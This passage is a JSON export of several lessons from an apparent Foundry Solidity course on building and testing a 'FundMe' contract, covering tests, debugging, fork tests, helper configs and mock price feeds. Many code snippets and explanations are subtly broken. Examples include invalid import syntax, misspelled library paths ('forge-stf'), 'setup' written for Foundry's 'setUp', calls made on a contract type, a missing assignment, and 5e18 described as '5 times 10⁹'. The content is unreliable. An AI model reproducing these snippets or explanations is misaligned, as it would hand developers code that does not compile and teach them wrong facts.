journey.\n\nKeep learning and let's get started with the Fund Me project!\n", + "updates": [] + }, + { + "lessonId": "23135955-1931-478b-8023-2ebe899162b3", + "number": 2, + "slug": "smart-contract-testing-introduction", + "title": "Introduction to smart contracts testing", + "description": "A guide on testing smart contracts using the `forge test` command and the `counter.t.sol` example, emphasizing the importance of test-driven development in programming.", + "duration": 2, + "videoUrl": "uTtkbgyY7Eq5W2A1SyTcv02iQk01oK4MXmYeqwZXkYE8w", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/2-testing-introduction/+page.md", + "markdownContent": "***\n\n## title: Testing Introduction\n\n*Follow along the course with this video.*\n\n***\n\nTo stand out from the crowd, one must not only master the development of smart contracts but also proficiency in testing these smart contracts. This not only guarantees you the quality and reliability of your code but also significantly reduces the occurrence of runtime issues that could potentially cost both clients and organization substantial amounts.\n\nIn this blog post, we will take a deep dive into the fascinating world of testing smart contracts, basing our illustrations on `forge test` command and the `counter.t.sol` example file.\n\n## Wrap Up: Driving Excellence in Blockchain Development\n\n\n\nStart today by adopting test-driven development in your programming regimen. It might seem tedious to begin with, but once you comprehend its value, you will appreciate the increased reliability and robustness it rings to your code.\n\nDon't forget, always run `forge test` to check the health of your smart contract before shipping out your code. Stay tuned for a more detailed exploration of testing and foundry fundamentals in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "d70c58eb-09aa-43d6-8cec-824516710bbb", + "number": 3, + "slug": "finshing-the-setup", + "title": "Finishing the setup", + "description": "Continuation of the project setup, including cleaning up unnecessary files, incorporating contracts from Remix, resolving import errors, and directing imports with remappings.", + "duration": 6, + "videoUrl": "qbYGf4p8EP6VLmKChrrzXk6vgY41MEAILsJd7w1MR004", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/3-setup-continued/+page.md", + "markdownContent": "***\n\n## title: Setup Continued\n\n*Follow along the course with this video.*\n\n***\n\n### Necessary Clean-Up\n\nTo begin, we first need to clean up unwanted files in our project directory. Since we will be using our own contracts, we can safely remove any pre-existing counter files.\n\n```shell\n$ rm -f Counter.sol\n```\n\n## Incorporating Contracts from Remix\n\nWhen it comes to creating new files for our smart contracts, we will be working from 'lesson four' and 'Remix FundMe'. It's of utmost importance not to copy-paste contracts from our Foundry FundMe file at this point. Instead, we can clone the Remix FundMe file and modify it to facilitate easier composition of tests and interactions.\n\n```bash\n# Create a new file\ntouch FundMe.sol\n# Copy-paste the contracts from Remix FundMe and paste it in this new file \n```\n\nWe will do the same for the 'price converter' contract.\n\n```shell\n# Create a new file\ntouch priceConverter.sol\n# Copy-paste the content of the price converter contract file into this new file\n\n```\n\n\n\n### Resolving Import Issues\n\nWhen we try to compile our newly imported contracts, we might encounter import errors. This happens because while Remix automatically reaches into the NPM package repository to resolve imports, Foundry does not do this. In the context of Foundry, we must specify exactly where the dependencies should be pulled from.\n\n\n\nLet's install this dependency with the 'forge install' command.\n\n```shell\n# The command is written as follows:\nforge install smartcontractkit/chainlink-brownie-contracts\n```\n\nWe can now view and access these contracts in our local environment. The path to these contracts lies in the newly created 'Lib' folder.\n\n### Redirecting Imports with Remappings\n\nAt this moment, our contracts inaccurately import the 'aggregatorv3interface' from '@chainlink contracts'. To correct this, we need to instruct Foundry that '@chainlink contracts' actually points to our local 'Lib' folder. This can be achieved through a Foundry configuration file known as 'foundry.toml,' where we can establish a conduit, or remapping, to set this path accurately.\n\n\n\nIn the remapping section, construct this line of text:\n\n```js\nremappings = [\"@chainlink=lib/chainlink-brownie-contracts/contracts\"]\n```\n\nThis tells Foundry to replace '@chainlink contracts' with the path to the local library's chainlink brownie contracts.\n\n### Final Compilation and Potential Errors\n\nFinally, we're ready to compile our contracts!\n\n```shell\n$ forge build\n```\n\n\n\nIf you encounter errors, which are common in the course of such complex processes, consider labeling them with the contract name – followed by two underscores. It's a nifty convention that quickly helps identify which contracts throw these errors – for instance, here, 'FundMe contract.'\n\nWith these simple steps, you have set up your smart contracts and launched your journey into the innovative world of building decentralized applications!\n", + "updates": [] + }, + { + "lessonId": "8df6e47f-e894-46cd-b1b7-63cf527f9a7d", + "number": 4, + "slug": "writing-tests-for-solidity-smart-contracts", + "title": "Writing tests for your Solidity smart contract", + "description": "Detailed explanation on writing and running tests for Solidity smart contracts, including creating test files, understanding the setup function, and using console logs for debugging.", + "duration": 9, + "videoUrl": "6l01DZwcMn6giZRo1jH1T3h013bYIfkqQmI5jo0201tx01co", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/4-tests/+page.md", + "markdownContent": "***\n\n## title: Testing\n\n*Follow along the course with this video.*\n\n***\n\nIn this post, we will walk you through the entire process of creating robust tests for your smart contracts. Testing is an absolutely crucial step in your smart contract development journey, as the lack of tests can be a roadblock in the deployment stage or during a smart contract audit.\n\nSo, buckle up as we unveil what separates the best developers from the rest: comprehensive, effective tests!\n\n## Test File Creation and Basics\n\nBegin by creating a new file `FundMeTest.t.sol` to compose your tests. The 't' in `.t.sol` represents a convention in Solidity for test files.\n\nOur test will follow the same syntax as any Solidity contract. To start, we will specify the SPDX license and program solidity. We'll be making use of GitHub Copilot, which is useful for providing solid code recommendations.\n\nThe test code initially looks like this:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity;contract fundMeTest { }\n```\n\nTo make running our tests easier, we will import a standard contract from the Forge Standard Library. We'll utilize the `test` contract from `std.st`.\n\n```js\nimport {Test} from \"forge-std/Test.sol\";\ncontract FundMeTest is test { }\n```\n\n## Prioritizing Smart Contract Functionality\n\nOur first goal is to ensure our FundMe contract operates effectively. Thus, one of the first tasks is to deploy this contract. We can accomplish this task by initially deploying our contracts directly in the test folder. Ideally, one should import the contract deployment scripts into the test scripts to homogenize the deployment and testing environments.\n\nWhile setting up our test contract, include a function called `setup`. This function is always the first to execute whenever we run our tests. Here's how it should look:\n\n```js\nfunction setup() external { }\n```\n\nOur setup function will deploy our contract. Before that, let's briefly explore what a test might look like. Here's an example:\n\n```js\nfunction testDemo() public { }\n```\n\nUpon executing `forge test`, you will see a successful compiler run, indicating our test passed.\n\n## The Magic of 'Setup' and 'Console'\n\nDo you know why `setup` runs first? Let's break it down with an example:\n\n```js\n uint256 number = 1;\n function setup() external {\n number = 2;\n }\n function testDemo() {\n assertEq(number, 2);\n }\n```\n\nAbove, we declared `number` as 1. Within `setup`, `number` becomes 2. When we call the `testdemo` function and assert `number` is equal to 2, the test passes.\n\nThe `setup` function allowed us to update `number` before running our tests.\n\nHow about debugging these tests? We can tap into console logging for that.\n\nThe Console is a part of the `test.sol` contract included by default with Forge. The library lets us output print statements from our tests and contracts.\n\nConsider this code snippet:\n\n```js\nfunction testDemo() public {\n console.log(number);\n console.log(\"Hello, world!\");\n}\n```\n\nRunning `forge test -vv` prints the current value of `number` and \"Hello, world!\" The `-vv` specifies the verbosity level of the logging, giving us insight into our test results.S\n\n\n\n## Deploying the Contract\n\nLet's dive back into our `setup` function and deploy the contract. To accomplish that, the contract should know about `fundMe`.\n\nLet's import it:\n\n```js\nimport \"FundMe\" from \"../src/FundMe.sol\";\n```\n\nNext, we will initialize the `fundMe` contract in the `setup` function:\n\n```js\nFundMe fundMe = new FundMe();\n```\n\nThe contract is now deployed, and we are all set for testing.\n\n## Writing and Running a Test\n\nLet's begin by writing a test that ensures our minimum USD value is five.\n\nConsidering `minimumUSD` is a public variable, we will validate within our `testdemo` function if the value is indeed 5 times 10⁹ or simply 5e18:\n\n```js\nfunction testMinimumDollarIsFive() public {\n assertEq(fundMe.MINIMUM_USD(), 5e18);\n}\n```\n\nNow, if we run `forge test`, you should see \"compiler run successful\" and that the \"test minimum dollar is five\" has passed.\n\nIf you increase the testing value to 6 and rerun the test, it should fail, as the starting minimum USD is five.\n\nNow, alter the testing value back to five and rerun the test. The compiler should run successfully.\n\nCongratulations! You’ve just run your first basic test. Maintaining this testing practice consistently can help you secure your systems significantly.\n\n## Wrapping Up!\n\nAs technology advances, especially with the introduction of AI, you can go further with testing. With rigorous testing habits, you can ensure that your smart contracts behave as expected and transform from a mediocre developer to a proficient one.\n", + "updates": [] + }, + { + "lessonId": "b8f5d1cf-2554-41d8-9240-a3069d854c7a", + "number": 5, + "slug": "debugging-tests", + "title": "Debug your Solidity tests", + "description": "A guide to debugging tests in Solidity, including writing and analyzing test functions, using console logs for troubleshooting, and understanding test failures.", + "duration": 3, + "videoUrl": "t2vhCi015Yw003Ib2HoK9XrbEftuGmnY00aAlD4dEdEths", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/5-debugging-tests/+page.md", + "markdownContent": "***\n\n## title: Debugging Tests\n\n*Follow along the course with this video.*\n\n***\n\n\\#By taking a hands-on approach, we'll write some functional tests to ensure that our code is working as expected and debug potential issues. This blog post is intended for both the seasoned veteran looking to tighten their test suite or a newcomer wanting to know more about the essentials of testing in Solidity.\n\n## Writing the First Test\n\nLet's go ahead and write a new test. This time, we'll examine whether the actual owner of a contract is indeed its message sender. Starting off, we can begin with the following function:\n\n```js\nfunction testOwnerIsMessageSender () public {\n assertEq(FundMe.i_owner(), msg.sender);\n}\n```\n\nOne of the beneficial aspects of writing descriptive test functions is the role it plays in assisting GitHub Copilot with comprehending your coding intentions.\n\n## Debugging the Test\n\nInevitably, there may be moments where our test fail and present us with an unexpected output. So, how do we determine why this failed or what transpired?\n\nTo debug, we could use numerous techniques we've learned, such as console logs. Let's console log out the literal owner and also the message sender for our starting point.\n\n```js\nconsole.log(FundMe.i_owner());\nconsole.log(msg.sender);\n```\n\nThen, re-run the test to examine the console output. This will allow us to check whether these two addresses are indeed different.\n\n```bash\nforge test -vv\n```\n\n## Understanding Test Failures\n\nNow from the console outputs, the result is that indeed these are two different addresses. This disparity arises because technically, in our setup function, the FundMe test contract is what deploys our FundMe address and would therefore be the owner. The message sender is whoever's making the call to the FundMe test.\n\nIn essence, the process looks something akin to this:\n\n* 'Us' calls the `FundMe test`, which then deploys `FundMe`.\n* The `FundMe test` becomes the owner of `FundMe`, and not 'us'.\n\nWith this newfound understanding, it becomes clear that we shouldn't be checking to see if the `message sender` is the owner, rather we ought to check if `FundMe test` is the owner.\n\n\n\n## Correcting the Test\n\nLet's re-write our test function to reflect this information:\n\n```js\nfunction testOwnerIsMessageSender () public {\n assertEq(FundMe.i_owner(), address(this));\n}\n```\n\nAfter running the test again, we find that indeed, our assertion was correct. Well done!\n\n## Conclusion on Testing\n\nConsole logs have proven to be a very useful debugging tool when writing tests. Of course, as we progress, we'll uncover more helpful ways to construct our tests. But for now, let's take a pause on these, as we'll return to refactor them soon.\n\nIf you've written just these tests, great job. To challenge yourself, you might want to pause and try to write some additional tests on your own. After all, practice is the key to mastering any programming language – and this holds particularly true for Solidity!\n", + "updates": [] + }, + { + "lessonId": "b3ef4b83-29e1-41c9-861b-c62771925dfd", + "number": 6, + "slug": "advanced-deploy-scripts", + "title": "Advanced deploy scripts", + "description": "Tutorial on writing advanced deploy scripts for smart contracts in Solidity, focusing on avoiding hardcoded contract addresses and making contracts more dynamic and adaptable.", + "duration": 3, + "videoUrl": "6MUKEb00yI00gldYcomioJNt2YDlUOvkNmUi2ialb5z8k", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/6-advanced-deploy-scripts/+page.md", + "markdownContent": "***\n\n## title: Advanced Deploy Scripts\n\n*Follow along the course with this video.*\n\n***\n\nWhen crafting code for our blockchain, we encountered a significant obstacle. Our contract address was frequently hard-coded. This wouldn't ordinarily be an issue; however, our contract address merely existed on Sepolia, while we continued our testing phase on our local chain. In this lesson, we'll tackle this issue while simultaneously moving ahead in our coding project, so brace yourselves for an exciting ride. Let's dive in!\n\n## Writing our Deploy Scripts\n\nBefore we tackle our hard-code issue, let's execute an important task that we know is on our to-do list—writing our deploy scripts.\n\nStart by creating a new file named Deployfundme.s.sol. The standalone 'S' signifies the file is a script. Include the same SPDX license identifier, replace MIT with your own, and proceed to declare your contract deploy fund me.\n\n```js\n SPDX-License-Identifier: MIT\n pragma solidity 0.8.18;\n contract DeployFundMe {}\n```\n\nWe're using Foundry, which means we need to import several lines of code, including the forge std script sol, and since we're deploying FundMe, why not import it from SRCF. Next, to run the script, you'll want to use the function. Revisit lesson six if you're finding this step a bit confusing—the function applies an external function for the VM start broadcast, and a FundMe in lower case equals the new FundMe navigated by a VM stop broadcast.\n\n```javascript\n function run() external{\n vm.startBroadcast();\n new FundMe();\n vm.stopBroadcast();\n }\n```\n\nFollowing the function run prompts the script to run the `DeployFundMe.s.sol`. Encountering a 'VM' keyword error means you need to use the script. Rectifying this error leads to warnings about an unused local variable. In all probability, you do not even require this line. It's alright to remove it altogether and re-run the script.\n\n\n\n## Overcoming Errors and Ensuring Smooth Running\n\nFollowing these steps should help in successfully running the compiler, with the script showing successful execution. Ensure that you pass an RPC URL if you wish to simulate on-chain transactions.\n\n\n\nThe navigation of these steps indicates the importance of problem-solving in the blockchain coding world. In the upcoming blog posts, we will offer solutions on how to navigate hard-coding challenges in your blockchain coding challenges. Stay tuned for more insights!\n", + "updates": [] + }, + { + "lessonId": "8b07077c-a7aa-41d9-86cd-f54d51dc678f", + "number": 7, + "slug": "forked-tests", + "title": "Running tests on chains forks", + "description": "Instructions on running tests on forked blockchain chains, ensuring functional price feed integrations, and addressing issues related to non-existent contract addresses.", + "duration": 9, + "videoUrl": "BJjAGj02qjxRwoJJ8joHXF2MSXl8Cvfo006nQ021Kdtiwo", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/7-forked-tests/+page.md", + "markdownContent": "***\n\n## title: Forked Tests\n\n*Follow along the course with this video.*\n\n***\n\nAs we delve further into the mechanisms of our evolving FundMe tool, we find ourselves grappling with some indispensable features we need to solidify. What jumps to mind first? Yes, you’re thinking right. It's the FundMe proceeds.\n\nAs developers, we must ensure that our conversion rate is functioning as expected, thereby assuring us that the funding aspect of our tool is reliable. For this, we must ascertain that we can acquire the right version from our aggregator v3 interface and interact with it appropriately.\n\nLet's plunge into this intricate process, taking one step at a time.\n\n### Ensuring Functional Price Feed Integrations\n\nThe first step involves testing our price feed integrations using the `get version` function. We know from Remix that it should return version four.\n\n```javascript\nfunction testPriceFeedVersionIsAccurate() {\n uint256 version = FundMe.getVersion();\n assertEq(version, 4);\n}\n```\n\nDelving further into the world of testing, we try running the test with Forge:\n\n```bash\nforge test\n```\n\nAnd lo and behold, we encounter an EVM revert. But why did this happen? To intensify our focus on this particular test and sideline the rest, we use this method:\n\n```javascript\nforge test -m testPriceFeedVersionIsAccurate\n```\n\nBy switching the visibility with three V's, we can acquire more information. We now see that we get what's known as a stack trace of the error, pointing out that our GetVersion call is reverting due to a non-existing contract address. This happens since Foundry automatically sets up an Anvil chain for test runs, deleting it after completion.\n\n```bash\nforge test -vvv\n```\n\n### Addressing Non-Existent Contract Addresses\n\nAt this stage, you might be left wondering how to tackle these non-existent addresses. Can we even test our `testPriceFeedVersion` accurately when it encounters hiccup due to Forge and Anvil? Yes, we can - with a little maneuvering. One way is to use a fork URL. Here, we’ll draw a parallel situation where we use Alchemy to generate an API key.\n\n```bash\nSEPOLIA-RPC-URL=your-alchemy-key\n```\n\nMake sure your .env file exists and is a part of your .gitignore.\n\n```bash\necho $SEPOLIA-RPC-URL\n```\n\nYou can now utilize this RPC URL.\n\n```bash\nforge test -M testPriceFeedVersionIsAccurate --fork-url $SEPOLIA-RPC-URL\n```\n\nThe Anvil spins up but imitates transactions as if they were on the Sepolia chain. Our test's successful run now verifies that our transaction was performed adequately on the Sepolia chain.\n\n\n\n### Balanced Approach: Unit Test, Integration Test, Forked and Staging Test\n\nWhile we tackle and solve the problems at hand, it’s essential to remember that we are learning to maneuver around four main testing approaches. In the journey with FundMe, we will navigate primarily through Unit, Integration, and Forked tests.\n\n1. Unit test - A method of testing a particular code piece or function. In this case, we could argue that `getVersion` function was a unit test.\n2. Integration test - Multi-contract testing to ensure that all interrelated contracts effectively work together.\n3. Fork test - Testing our code in a simulated real environment.\n4. Staging test - Deploying our code to a real environment like testnet or mainnet to validate that everything indeed works as it should.\n\nEach of these tests has its strengths, weaknesses, and ideal usage instances. For instance, maintaining a balance between the number of fork tests versus standard tests is crucial to not overdo API calls to your alchemy node and sending your bill through the roof.\n\n### Conclusion\n\nTesting forms the backbone of the code we write and deploy. It is crucial to comprehend the need for testing coverage for our codes. Writing an extensive set of tests and achieving maximum test coverage lets us confidently deploy our contract to perform as expected.\n\nEnsuring a good level of coverage across the board, unit tests, integration tests, fork tests, and staging tests, can sometimes seem overwhelming. However, the more one works with it, the clearer it seems. I promise you, it's only a matter of learning, doing, and repeating.\n\n\n", + "updates": [] + }, + { + "lessonId": "a2e5eb2f-09d0-46c2-833a-26becd480103", + "number": 8, + "slug": "refactoring-testing", + "title": "Refactoring your tests", + "description": "Guide on refactoring tests for better efficiency and clarity, including updating price converter functions and deploying contracts on different networks with ease.", + "duration": 8, + "videoUrl": "HEWHWq4nLks01HagcB1P96TfuXOeBa5QN1YWI8ASHRq4", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/8-refactoring-testing/+page.md", + "markdownContent": "***\n\n## title: Refactoring I - Testing Deploy Scripts\n\n*Follow along the course with this video.*\n\n***\n\nDid you know that the way you code your smart contracts could cause unnecessary work if you intend to switch chains? Many developers, particularly those familiar with the Solidity development suite, have found themselves enslaved by hardcoded contracts. Sure, they might work perfectly for Sepolia (the current chain of deployment) but they are incredibly restrictive for future use.\n\nWhat happens when you need to switch chains? A total overhaul of your code base, strenuous updates to all the addresses involved...it could take a lot of time and effort to get everything working correctly. In this lesson, we're going to explore an alternative approach to deploying smart contracts. We want to say goodbye to hardcoding and maintenance chaos, and say hello to *modular deployments*.\n\nThis reframed approach to deployment allows us to reference addresses and external systems dynamically. This means that we could potentially move our contracts from network to network with ease. Sure, it will require some refactoring, but in the end, it's going to make our lives a lot easier.\n\n## Refactoring Your Core Code\n\nLet's dive into our core code and decouple its dependency on Sepolia.\n\nTo avoid hardcoding the address of the contract, we're going to pass it as a constructor parameter each time we deploy the contract.\n\nHere's how we can achieve this:\n\n```js\nconstructor(address priceFeed) {\n s_priceFeed = AggregatorV3Interface(priceFeed);\n}\n```\n\nThis approach means we can adjust the address to match the network we're currently using for deployment. This refactor is essentially reworking the architecture of the code without altering its functionality. It’s a crucial practice among engineers to keep their code maintainable. The addition of a new aggregator interface variable in the state and storage variables, s\\_priceFeed, provides a place where the address can live after it's passed into the constructor.\n\nThis makes it much easier to reference, especially when we want to deploy on different chains. With this refactor, you're no longer hard-coding the address and can instead call the version function directly on your price feed variable.\n\n```js\nreturn s_priceFeed.version();\n```\n\n## Updating The Price Converter\n\nWe also need to update our price conversion functions to accept an additional parameter: the price feed address passed during deployment.\n\n```js\nfunction getPrice(AggregatorV3Interface priceFeed) internal view returns (uint256){\n (,int256 answer,,,) = priceFeed.latestRoundData();\n return uint256(answer * 10000000000);\n}\n\nfunction getConversionRate(uint256 ethAmount, AggregatorV3Interface priceFeed) internal view returns (uint256){\n uint256 ethPrice = getPrice(priceFeed);\n uint256 ethAMountInUsd (ethPrice * ethAmount) / 1000000000000000000;\n return ethAMountInUsd;\n}\n```\n\nWithin these functions, we simply replaced the hardcoded price feed object with the one passed into the function.\n\nHaving a modular approach to deployment makes it possible to deploy contracts to different networks easily, explore different testing environments, and maintain a maintainable and less error-prone code base throughout.\n\n## All's Well That Deploys Well\n\nBy exploring modular deployments, we've been able to overhaul our code architecture and streamline the deployment and testing of our smart contracts across different chains more efficiently.\n\nHowever, refactoring is not without challenges. The modifying of the funder address in our test case from address(this) to msg.sender caused an initial hiccup upon testing. After fixing this, our tests passed.\n\n\n\nThe ability to refactor your code for a more flexible, modular deployment system is a skillset that sets you apart from the average solidity developer. There's a bit of a learning curve, but the payoff is enormous both in terms of versatility and maintainability.\n\nSo great job on making it this far. I'm excited for you as you continue to expand your developer toolkit!\n\nNow go out, experiment, refactor, test, and innovate. The world of solidity development is at your fingertips.\n", + "updates": [] + }, + { + "lessonId": "39383e0f-19f1-4ba0-a1e7-56daebb424f0", + "number": 9, + "slug": "refactoring-helper", + "title": "Deploy a mock priceFeed", + "description": "Detailed guide on setting up a mocked environment for local testing of blockchain smart contracts, emphasizing the benefits and steps for creating mock contracts.", + "duration": 14, + "videoUrl": "vYhiv501502cgSXT1aaAIeG6uxvkLmnFUDKkvBlz12b01Q", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/9-refactoring-helper/+page.md", + "markdownContent": "***\n\n## title: Refactoring II - Helper Config\n\n*Follow along the course with this video.*\n\n***\n\nWhen building and testing your blockchain, you've likely found yourself often making calls to your Alchemy node. Furthermore, you may have noticed the undesirable outcome of this, running up your bill with each test suite execution. So, how can you streamline this process for local development and eliminate redundant API calls to Alchemy? The answer lies in creating mock contracts on your local chain.\n\nIn this blog, we'll detail how to set up a mocked environment for local testing and bypass the need to hard-code addresses, while ensuring the functionality remains undisturbed.\n\n### The Importance of Local Testing\n\nBefore we dive into the code, let's emphasize why this practice is so beneficial. By creating a local testing environment, you reduce your chances of breaking anything in the refactoring process, as you can test all changes before they go live. No more hardcoding of addresses and no more failures when you try to run a test without a forked chain. As a powerful yet simple tool, a mock contract allows you to simulate the behavior of a real contract without the need to interact with a live blockchain.\n\n### Creating the Mock Contract\n\nLet's start by creating a new contract called `HelperConfig.s.sol`. This contract serves two main purposes:\n\n1. It deploys mocks when we're on a local anvil chain\n2. Maintains track of contract addresses across various chains\n\n```js\n\nimport {Script} from \"forge-stf/Scripts.sol\"\n\ncontract HelperConfig {}\n```\n\nNow, you'll notice `forge-stf/Scripts.sol` being imported at the start of this contract. This helps us determine whether we're in a local anvil chain so that we can deploy the mock contracts accordingly. Similarly, we keep a tab on contract addresses depending on the chain we're on with the aid of address tracking logic.\n\n### Developing Specific Network Configurations\n\nNext, let's create functions `getSapoliaEthConfig` and `getAnvilEthConfig` that return configurations for the respective chains.\n\n```javascript\n\n NetworkConfig public activeNetworkConfig;\n\n function getSepoliaEthConfig() public pure returns (NetworkConfig memory) {\n NetworkConfig memory sepoliaConfig = NetworkConfig(address);\n return sepoliaConfig;\n }\n function getAnvilEthConfig() public pure returns (NetworkConfig memory) {NetworkConfig memory config = NetworkConfig(address);// other logicreturn config;}\n```\n\nIn this way, you can create multiple network configurations quickly.\n\nHowever, the main challenge arises when you have to decide which configuration to use. For that, we'll create a public variable `activeNetworkConfig`, which gives us an insight into the current network type. Based on the network type, we can set the `activeNetworkConfig` and make our tests much more flexible.\n\n```javascript\nif (block.chainId == 11155111) {\n activeNetworkConfig = getSepoliaEthConfig();\n} else {\n activeNetworkConfig = getAnvilEthConfig();\n}\n```\n\nNote that the `block.chainId` equals `11155111` is the specific chain ID for the Sapolia chain. For each chain, you can find their respective IDs using this [chainlist](https://chainlist.org).\n\n### Toward More Effective Testing\n\nWith such an architecture in place, you can now test against a forked Mainnet or any other blockchain you choose to deploy. Import your `HelperConfig` in the test files and set the `activeNetworkConfig` at the beginning of every test suite.\n\n```javascript\n import HelperConfig from 'HelperConfig.s.sol';\n HelperConfig helperConfig = new HelperConfig;\n // then get the price feed address\n address ethUsdPriceFeed = helperConfig.activeNetworkConfig.priceFeed;\n```\n\nThis setup enables you to check your code against different chains without having to hard-code any addresses.\n\nJust remember to define a new `NetworkConfig` type for every chain you want to test against, and you're good to go.\n\nFor example, if you want to deploy on the Ethereum Mainnet, you can define a dedicated function to get the mainnet's ETH config.\n\n```javascript\n function getMainnetEthConfig() public pure returns (NetworkConfig memory) {\n NetworkConfig memory config = NetworkConfig(address);// other logic\n return config;\n }\n```\n\nAnd in your constructor, add a new condition to check if the current chain is the Ethereum Mainnet.\n\n```javascript\n else if (block.chainId == 1) {activeNetworkConfig = getMainnetETHConfig;}\n```\n\nThis modularity ensures that you can run your tests on any chain, simply adding additional network configuration as necessary. Run `forge test, fork URL, mainnetrpcURL`, and get to testing on the Ethereum Mainnet right away.\n\n### Conclusion\n\nIn conclusion, mock contracts are a valuable asset for local development. They enable you to test and refine your contract without the need for constant calls to your Alchemy node, saving you valuable time and resources. Plus, having a well-structured way to manage different configurations for different networks makes running tests and deploying on different chains a breeze.\n\n\n\nAs we've highlighted here, each blockchain development project can be optimized with a few simple steps. As long as you're armed with the knowledge of your chain's ID and the addresses you need, you can create a local testing environment that aids you in creating a well-structured, efficient, and robust product.\n", + "updates": [] + }, + { + "lessonId": "fd09e9da-514c-4146-863d-a9a9659c8c76", + "number": 10, + "slug": "refactoring-mocks", + "title": "Refactoring the mock smart contract", + "description": "Comprehensive guide on refactoring mock smart contracts for local network testing, including deploying mock price feed contracts and overcoming common errors.", + "duration": 5, + "videoUrl": "K00Vw4xS02o7RI9XO7mCxPas2rif6j007KNUMvlKLAWPKQ", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/10-refactoring-mocks/+page.md", + "markdownContent": "***\n\n## title: Refactoring II - Mocks\n\n*Follow along the course with this video.*\n\n***\n\nLet's deep-dive into how we can adapt our existing environment, where we grab contract addresses from the live network, to our local network which does not yet have these contracts. For this, we will use the 'anvil config.'\n\nBut before we proceed, a key clarification: a **mock contract** is akin to a placeholder - it's a real contract that we control, but its primary purpose is in testing scenarios. This means, in the context of a local blockchain, we need to deploy these mock contracts manually.\n\n## Broadcasting the Deployment of Mock Contracts with VM\n\nNow, the first step in this journey is to initialize the process for deploying our contracts. Let's take it in stride.\n\nWe'll kick off by incorporating the VM start and stop broadcast within our implementation. These provisions ensure we can deploy the mock contracts to the Anvil chain we're working with:\n\n```javascript\nVM.startBroadcast(); //Block for deploying mock contractsVM.stopBroadcast();\n```\n\nRemember, since we're using this VM keyword, we can't configure this as a public pure and the helper config must be a script to have access to the VM keyword.\n\n## Deploying Price Feed Mock Contract\n\nMoving on, let's delve into deploying our price feed mock contract:\n\n\n\nFirst, create a new folder within the test called 'mocks' to store our mock contracts. Then create a new file and name it 'mockv3aggregator.sol.'\n\nInstead of building this file from scratch, reuse the existing mock version already available on chainlink's brownie contracts. But beware, it uses an older version (0.6.0) of Solidity. To save time, fetch the upgraded version from the 'Foundry FundMe F 23' folder:\n\n```shell\ncd FoundryFundMeF23/testFolder\n```\n\nThen copy and paste the content into your project.\n\nThis mock contract contains functions like 'latest round data,' which one might remember from our price converter. Moreover, its constructor allows updates and manipulation during testing, making it perfect for our local Anvil Chain. Now, we have all the necessary provisions to deploy.\n\n```javascript\nimport mockv3aggregator from \"mocks/test/mocks/MockV3Aggregator.sol\";\nmockv3aggregator mockPriceFeed = new mockv3aggregator(8, 2000e8);\n```\n\nThe constructor, as seen in the mock contract, requires decimals (in our case, for ETH/USD, it's 8), and an initial answer, which could be any desired starting price (say, 2000).\n\nAfter deploying our mockPriceFeed contract, the resulting address can be allocated to the network config of the Anvil chain:\n\n```javascript\nnetworkConfig memory anvilConfig = networkConfig(priceFeed: address(mockPriceFeed));\nreturn anvilConfig;\n```\n\nWith this, we've set the stage for deploying your smart contracts and running your tests on a local network. We've seen how to configure and use a mock contract for the price feed, adapting it to our local Anvil chain. These steps can also be applied to deploy any other mock contracts as per your development and testing needs.\n\nStay tuned for more such exciting DevOps adventures with Ethereum, Solidity, and smart contracts!\n", + "updates": [] + }, + { + "lessonId": "99094676-7af8-4cce-920e-c1b002502841", + "number": 11, + "slug": "magic-numbers", + "title": "How to refactor magic number", + "description": "Explanation of the concept of magic numbers in Solidity code, their drawbacks, and strategies for avoiding them to maintain code readability and efficiency.", + "duration": 3, + "videoUrl": "OAXFtL8g7qoWjTGOLWnDwY7rK8oTdGgogHdALpLTZmc", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/11-magic-numbers/+page.md", + "markdownContent": "***\n\n## title: Magic Numbers\n\n*Follow along the course with this video.*\n\n***\n\nWhen diving into the detailed layers of Solidity development, one principle that I keep circling back to is the avoidance of 'magic numbers'. A term that may sound relatively cryptic or even partially endearing, 'magic numbers' actually refer to something quite mundane that can turn out to be enormously inconvenient when dealing with large blocks of code.\n\nHaving repeatedly voiced my intense disdain for magic numbers, I am more than ready to dissect and debunk these pests for you.\n\n## Decoding Magic Numbers\n\nTo be concise, magic numbers are the esoteric, context-less figures that appear within a chunk of code, unrelated to anything else and devoid of any conspicuous significance. Let's illustrate this with an example:\n\n```js\nuint8 public constant DECIMALS = 8;\nint256 public constant INITIAL_PRICE = 2000E8;\n\n\n```\n\nHere, with the number `8` and `2000 E8` dropping in out of nowhere, it's virtually impossible to infer what these numbers represent if you haven't seen the code for a while. This might not seem like much of an issue in this small snippet, but when you're dealing with substantial amounts of code, these magic numbers become an exasperating hindrance.\n\nTo resolve this mystery, you would have to go back to the aggregator – in our case, Mach V3 – and decipher the coding behind these numbers. This becomes tiring and can slow your coding pace considerably.\n\n\n\nIt's worth noting that my advocacy for avoid magic numbers transcends practicality. Even during audit reports and smart contract audits, I make it a point to highlight such areas for improvement. Maintaining code readability is a critical aspect of efficient coding, which resonates across any language, including Solidity.\n\n## Conclusion\n\nIn conclusion, maintaining readable, explicit and efficient code should always be the goal. Striving to keep magic numbers at bay can significantly contribute towards this endeavor. After all, software development is more an art than a science, and the devil, as they say, is in the details.\n\n\n", + "updates": [] + }, + { + "lessonId": "b00a1337-d0fb-4fb6-a1ea-9df92b026e22", + "number": 12, + "slug": "refactoring-mocks-2", + "title": "Refactoring the mock smart contract pt.2", + "description": "Continuation of the tutorial on refactoring mock contracts in Solidity, focusing on creating network-agnostic smart contracts for easy deployment across multiple networks.", + "duration": 5, + "videoUrl": "6hGN3AvsaYyU8aUk4WSRif7bFktyEUsM00r1n3FUqHqQ", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/12-refactoring-mocks-2/+page.md", + "markdownContent": "***\n\n## title: Refactoring III - Mocking (continued)\n\n*Follow along with this video.*\n\n***\n\nIn this lesson, we're going to examine a useful technique to create network-agnostic 